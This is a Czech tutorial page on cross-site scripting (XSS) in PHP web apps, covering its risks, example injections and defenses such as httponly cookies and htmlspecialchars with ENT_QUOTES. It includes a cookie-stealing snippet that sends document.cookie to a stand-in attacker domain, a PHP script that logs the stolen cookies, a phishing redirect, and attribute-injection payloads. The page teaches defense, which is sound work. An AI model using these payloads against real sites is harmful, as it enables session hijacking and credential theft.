O webu
Využití XSS díry

XSS (Cross-site scripting) je metoda využívající bezpečnostní chyby webu, konkrétně nedostatečné ošetření dat.

Typicky spočívá ve vložení škodlivého JS kódu. Útok bývá často podceňován, přestože přináší obrovská risika.

  1. Krádež cookie – JavaScript má často přístup k datům identifikujícím přihlášeného uživatele. Obsah cookie je v document.cookie.

    Útočník vložením škodlivého kódu pingne skript na vlastním webu s předanou hodnotou cookie. Potom už stačí, aby napadenou stránku navštívil administrátor – jeho cookie se tak pošle útočníkovi. Zákeřnost tohoto útoku spočívá ve skutečnosti, že je velmi obtížné si napadení všimnout. Na venek se web chová normálně.

    Příklad JS kódu, který je potřeba dostat na server.

    var ping = new Image();
    ping.src = "http://domena-utocnika.cz/?" + 
                encodeURI(document.cookie);

    PHP skript pro uložení obsahu:

    file_put_contents(
    	"cookies.txt", 
    	$_SERVER["QUERY_STRING"] . "\n", 
    	FILE_APPEND
    );

    Přístupu k obsahu cookie z JS lze zabránit nastavením jako httponly v PHP funkci setcookie nebo session_set_cookie_params.

  2. Přesměrování na vlastní web – v případě, že cookie k přihlášení nestačí, nebo je cílem získat hesla, dá se použít technika phishingu. Přesměrovat návštěvníka webu JavaScriptem na vlastní stránku s přihlašovacím formulářem zkopírovaným z originální stránky.

    window.location = "http://domena-utocnika.cz";
  3. Modifikace stránky – jelikož JS má takřka neomezenou moc v manipulaci s webovou stránkou, může útočník využitím XSS díry za účelem výdělku přidat na děravou stránku reklamu, affiliate odkazy a podobně.

  4. Poškození dobrého jména – vložením spojení na nějaký podezřelý web může stránce přiřknout ve vyhledávačích označení jako malware.

Příklad útoku

Interpretace HTML značek

V případě, že se obsah, který může ovlivnit návštěvník, vypisuje včetně HTML značek, není problém přidat kus škodlivého JavaScriptu.

<script>
alert("XSS");
</script>

Potřebujeme-li umožnit vkládat HTML značky, nezbývá než použít nějaký nástroj pro pročištění kódu, kde jde přímo vyjmenovat povolené HTML značky a atributy.

Není-li potřeba HTML značky interpretovat, postačí PHP funkce htmlspecialchars.

Interpretace v HTML atributech

Méně známý problém je obsah v HTML atributech. V PHP existuje funkce strip_tags, která slouží k odstranění všeho, co vypadá jako HTML značka (tedy i třeba smajlíka <3 nebo výrazu a<b, což bývá nežádoucí).

Zásadní problém této funkce tkví v neodstraňování atributů. Použitím strip_tags a povolení byť jen jediné HTML značky vznikne XSS díra.

Škodlivý JavaScript je totiž možné vkládat i do různých onNěco událostí:

<b onmousemove='alert("XSS")'><b>

Funkce strip_tags nastavená na povolení tučného písma (značka <b>) tento kód nechá beze změn.

Jelikož strip_tags ponechá i inline styly, může útočník výše uvedený HTML kód naposicovat přes celou stránku s průhledným pozadím. A po provedení škodící akce element zrušit, aby se web nechoval podezřele.

<span 
onmousemove="alert('XSS'); this.parentNode.removeChild(this)" 
style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: transparent">
</span>

Živá ukázka

Při vypisování obsahu uvnitř HTML atributů je tedy nutné myslet na to, že když v kódu:

<h1 title='%vypis%'>Nadpis</h1>

Nahradíme %vypis% řetězcem ' onmousemove='alert("XSS"), vznikne:

<h1 title='' onmousemove='alert("XSS")'>Nadpis</h1>

Což je funkční a nebezpečný výsledek.

Obrana před XSS

Důsledná obrana proti XSS spočívá v ošetřování všech dat, která se vypisují na stránce.

V PHP je k tomu možné použít funkci htmlspecialchars:

$text = htmlspecialchars($text, ENT_QUOTES);

Uvedení ENT_QUOTES zajistí právě ochranu v HTML atributech – tj. nenechá atribut uzavřít jednoduchou nebo dvojitou uvozovkou, což zabrání zapsání škodlivých onNěco atributů.

Výše uvedené použití funkce htmlspecialchars nahradí entitami všechny řídicí HTML znaky: <, >, &, " a '.

Ošetření výstupu je nutné použít i u všelijakých administrátorských akcí. Mohlo by se stát, že by útočník administrátora odkázal na URL, kde by byl kus škodlivého JS kódu, který by se bez ošetření po prokliknutí provedl.